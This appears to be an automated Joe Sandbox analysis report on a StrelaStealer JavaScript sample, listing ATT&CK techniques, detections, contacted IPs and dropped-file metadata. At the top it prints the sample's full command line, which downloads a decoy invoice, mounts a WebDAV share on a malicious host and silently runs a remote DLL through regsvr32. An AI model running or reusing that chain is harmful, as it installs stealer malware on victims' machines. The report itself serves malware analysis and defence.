Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
944924352317221058.js	10%	Virustotal		Browse
944924352317221058.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/OR	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/U	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/;R	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/SR	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.20	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2637029885.000002A593600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/OR	net.exe, 00000007.00000003.1414644777.0000020955A24000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418312393.0000020955A24000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/U	net.exe, 00000007.00000002.1418262479.00000209559E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/SR	net.exe, 00000007.00000003.1414644777.0000020955A24000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418312393.0000020955A24000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/P	net.exe, 00000007.00000002.1418262479.00000209559E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1414644777.0000020955A24000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418262479.00000209559E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418312393.0000020955A18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418312393.0000020955A24000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1414569335.0000020955A3F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1414644777.0000020955A18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418414245.0000020955A41000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1416006138.000002A593850000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/;R	net.exe, 00000007.00000003.1414644777.0000020955A24000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418312393.0000020955A24000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589040
Start date and time:	2025-01-11 08:44:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	944924352317221058.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 217.20.57.20, 2.16.168.107, 2.16.168.105, 13.107.246.45, 18.213.11.84, 20.109.210.53, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:45:00	API Interceptor	23x Sleep call for process: powershell.exe modified
02:45:04	API Interceptor	1x Sleep call for process: net.exe modified
02:45:04	API Interceptor	2x Sleep call for process: svchost.exe modified
02:45:11	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	kzQ25HVUbf.exe	Get hash	malicious	Lokibot	Browse	13.107.246.45
	huuG7N3jOv.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	4287eV6mBc.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	QQpQgSYkjW.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	1r3DRyrX0T.exe	Get hash	malicious	DarkWatchman	Browse	13.107.246.45
	TBUjHBNHaD.exe	Get hash	malicious	DarkWatchman	Browse	13.107.246.45
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.20
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.39
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	217.20.57.36
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2784527361260704938.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	89131879533771361.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24283946104055016.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26680121751816526037.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82408542104643172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932029227493674
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaZ:cJhXC9lHmutpJyiRDeJ/aUKrDgnmj
MD5:	E6F2434A103C3F62DD783C21945D7220
SHA1:	06904589C65BCC2ED3C0B98820614C954E1CDA8D
SHA-256:	AC0B5B33FEE1E29B943439BF2C0B5C1B55191830CC8A5B65F0CE613DEC76972F
SHA-512:	2249DF902F3528F15DED56DE676B0ACD02BB7E11BD4C55FDAE8EB90BBE945270F1426EBB9119C8BAA349330FDDCD145EF9859C5FEC9076197649D28F1C24C1E3
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbbeb6d37, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216850826929208
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:zazaNvFv8V2UW/DLzN/w4wZi
MD5:	AD03C97DF4EEC99C720F6230912E7EB6
SHA1:	E7BEC4526786659E35DE02AE41DFC13BA0BDC5A6
SHA-256:	6CE4C4A2B9C94F4A0928771807A3A23738A8D8D30F41554574EA3AE8F435367F
SHA-512:	E960BC2020ED462D72C9EA539BB494E088992B4D847B621DC8203FF4CBB57789ED46D2E2B15BEACE3CCC658BB83BC003124B82D5D2AEEA7CDD290C6B9CAFAC97
Malicious:	false
Preview:	..m7... ...............X\...;...{......................p.D..........{}..-...}c.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{....................................bH.-...}.......................-...}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08177428518709384
Encrypted:	false
SSDEEP:	3:mlKYeWzTss6/fgsCrZClW/tMsGkYo///oll+SHY/Xl+/rQLve:SKz+Tsxfgs3GesGkYoXAAS4M
MD5:	4D471B6ADEAFD17C786D6C49BC3EA70E
SHA1:	D265A3DC5DD43F6324B27EB55044A99F2F77181C
SHA-256:	6226B812408E793A0929FA249FF0C1676BA69E54FB1F9A209E7A9C95E86766EE
SHA-512:	21EFC869AA13AAE95C2F57FCBD1A28C5795C237BEF74D1BAE87D5B2082B6ADB2ABD497352C6166DCA8D38DA737AD20C59884D287AE2B6C8EDE86F2E242253924
Malicious:	false
Preview:	4^.......................................;...{...-...}.......{}..............{}......{}.vv_Q.....{}......................-...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.1381368378853285
Encrypted:	false
SSDEEP:	6:iOWuMPq2PqLTwi2nKuAl9OmbnIFUtsuOS9ZmwSuhcjzkwOqLTwi2nKuAl9OmbjLJ:7Wuiv8wZHAahFUtsuOS9/Suhcjz5TwZC
MD5:	7900E9B959768ED6DA40A20FEEBE1284
SHA1:	15AC73C8092F23E03F9C574555D1B32A0AC6BF5C
SHA-256:	8DB7528176D16D04923DD9FC4B4FAD213C1E6B0781A43A087E9569FE7C1F8BE7
SHA-512:	A034F23A25C126BDA512D265EC237A3157E17B52A9849B4648132FF646D9DCCD058E6A56E031BA137FD8E4FC79A535514DBAB30C9D8699DDA4A4BCE369A9EF5E
Malicious:	false
Preview:	2025/01/11-02:45:04.210 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:45:04.212 1c94 Recovering log #3.2025/01/11-02:45:04.213 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.1381368378853285
Encrypted:	false
SSDEEP:	6:iOWuMPq2PqLTwi2nKuAl9OmbnIFUtsuOS9ZmwSuhcjzkwOqLTwi2nKuAl9OmbjLJ:7Wuiv8wZHAahFUtsuOS9/Suhcjz5TwZC
MD5:	7900E9B959768ED6DA40A20FEEBE1284
SHA1:	15AC73C8092F23E03F9C574555D1B32A0AC6BF5C
SHA-256:	8DB7528176D16D04923DD9FC4B4FAD213C1E6B0781A43A087E9569FE7C1F8BE7
SHA-512:	A034F23A25C126BDA512D265EC237A3157E17B52A9849B4648132FF646D9DCCD058E6A56E031BA137FD8E4FC79A535514DBAB30C9D8699DDA4A4BCE369A9EF5E
Malicious:	false
Preview:	2025/01/11-02:45:04.210 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:45:04.212 1c94 Recovering log #3.2025/01/11-02:45:04.213 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.186493652657954
Encrypted:	false
SSDEEP:	6:iOWu09QQ+q2PqLTwi2nKuAl9Ombzo2jMGIFUtsuAgZmwSuAQVkwOqLTwi2nKuAlx:7WuLv8wZHAa8uFUtsuJ/SuD5TwZHAa8z
MD5:	27F24E613722865A7FC5415FABEB7DAF
SHA1:	C89E00FE06048394349FC355E9DAD7AAEED240D0
SHA-256:	F779AA123FF5A6FBE46795217E84A2B59146745015C295CCE293248B91265067
SHA-512:	9CE24C062735EBC360D224127DA498E13EA7835F52AE3DA9766541BE2C0F19D2603EA2E20C4A2A37AEDFB2FE9455107433BC075B95EEFFDAF9EACB03421BE3F9
Malicious:	false
Preview:	2025/01/11-02:45:04.265 b88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:45:04.266 b88 Recovering log #3.2025/01/11-02:45:04.266 b88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.186493652657954
Encrypted:	false
SSDEEP:	6:iOWu09QQ+q2PqLTwi2nKuAl9Ombzo2jMGIFUtsuAgZmwSuAQVkwOqLTwi2nKuAlx:7WuLv8wZHAa8uFUtsuJ/SuD5TwZHAa8z
MD5:	27F24E613722865A7FC5415FABEB7DAF
SHA1:	C89E00FE06048394349FC355E9DAD7AAEED240D0
SHA-256:	F779AA123FF5A6FBE46795217E84A2B59146745015C295CCE293248B91265067
SHA-512:	9CE24C062735EBC360D224127DA498E13EA7835F52AE3DA9766541BE2C0F19D2603EA2E20C4A2A37AEDFB2FE9455107433BC075B95EEFFDAF9EACB03421BE3F9
Malicious:	false
Preview:	2025/01/11-02:45:04.265 b88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:45:04.266 b88 Recovering log #3.2025/01/11-02:45:04.266 b88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963193331570317
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqM0XhsBdOg2HPAcaq3QYiub5P7E4T3y:Y2sRdsgXydMHD3QYhbt7nby
MD5:	6EB3647D05B0E98224430E3C36135FB9
SHA1:	E78D3D682DBD57702B6451B4636FE498C7C84267
SHA-256:	444105F6DC0EEFA8F152C9C5C1ED9E3475FA11DA5D3977E77CCCFE29E1B9E74D
SHA-512:	FD19A9DAED0D11D5C9CBFAB17552568D72EF8E487337499E0F27D35A098497DD39DFB25738616AEDF27E146208F2A3F6208785746E167AE7AA672E4FB11B5B22
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141515920236","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142724},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d2e8189a-17d6-4772-9817-9b20dab8d5ab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963193331570317
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqM0XhsBdOg2HPAcaq3QYiub5P7E4T3y:Y2sRdsgXydMHD3QYhbt7nby
MD5:	6EB3647D05B0E98224430E3C36135FB9
SHA1:	E78D3D682DBD57702B6451B4636FE498C7C84267
SHA-256:	444105F6DC0EEFA8F152C9C5C1ED9E3475FA11DA5D3977E77CCCFE29E1B9E74D
SHA-512:	FD19A9DAED0D11D5C9CBFAB17552568D72EF8E487337499E0F27D35A098497DD39DFB25738616AEDF27E146208F2A3F6208785746E167AE7AA672E4FB11B5B22
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141515920236","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142724},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2311974925303755
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Oz9qb9Eeme:1CDLCmPj8j0/8qKgwPHYPx8xemT8Oz94
MD5:	33B48ED7067E998DE6A1FD5341FA0F9E
SHA1:	323C9E1AB9B04A6B4CEA875927B32110EE6F884E
SHA-256:	D812ACE58FE5A0329F660BD9241951F68111644A7C56BF7E980D7918FFF85398
SHA-512:	19239F1FD6C00B4E609B2860D6AB16E7E287FBFAD5BD4E40B1F075A4745595DCA66AFDC8903D639FC8596F8D16B2F4A9AFE2AA21562407AA962DD98997801002
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.188778401169384
Encrypted:	false
SSDEEP:	6:iOWonQ+q2PqLTwi2nKuAl9OmbzNMxIFUtsoVH6gZmwSo2fSQVkwOqLTwi2nKuAlG:7WOv8wZHAa8jFUtsm/S9t5TwZHAa84J
MD5:	3F455B57006874EB31B8EFC1E6D57A78
SHA1:	406E347B3533F9CBBD8F5928FD12A731AA73058E
SHA-256:	B9B0A4F9DD4B3A631BC9DBE6A6CF9CD00A71D1DE9AC15A7BA94E7262B6364508
SHA-512:	7027EA874BEB67C38CD90950FDA228CBB117AC6CF7E50288659A8D485B1081183DD18E804C73D36153EDDC195ABC0FB108B4FE9A0E09415D26C37E0F92AA409C
Malicious:	false
Preview:	2025/01/11-02:45:04.434 b88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:45:04.435 b88 Recovering log #3.2025/01/11-02:45:04.436 b88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.188778401169384
Encrypted:	false
SSDEEP:	6:iOWonQ+q2PqLTwi2nKuAl9OmbzNMxIFUtsoVH6gZmwSo2fSQVkwOqLTwi2nKuAlG:7WOv8wZHAa8jFUtsm/S9t5TwZHAa84J
MD5:	3F455B57006874EB31B8EFC1E6D57A78
SHA1:	406E347B3533F9CBBD8F5928FD12A731AA73058E
SHA-256:	B9B0A4F9DD4B3A631BC9DBE6A6CF9CD00A71D1DE9AC15A7BA94E7262B6364508
SHA-512:	7027EA874BEB67C38CD90950FDA228CBB117AC6CF7E50288659A8D485B1081183DD18E804C73D36153EDDC195ABC0FB108B4FE9A0E09415D26C37E0F92AA409C
Malicious:	false
Preview:	2025/01/11-02:45:04.434 b88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:45:04.435 b88 Recovering log #3.2025/01/11-02:45:04.436 b88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
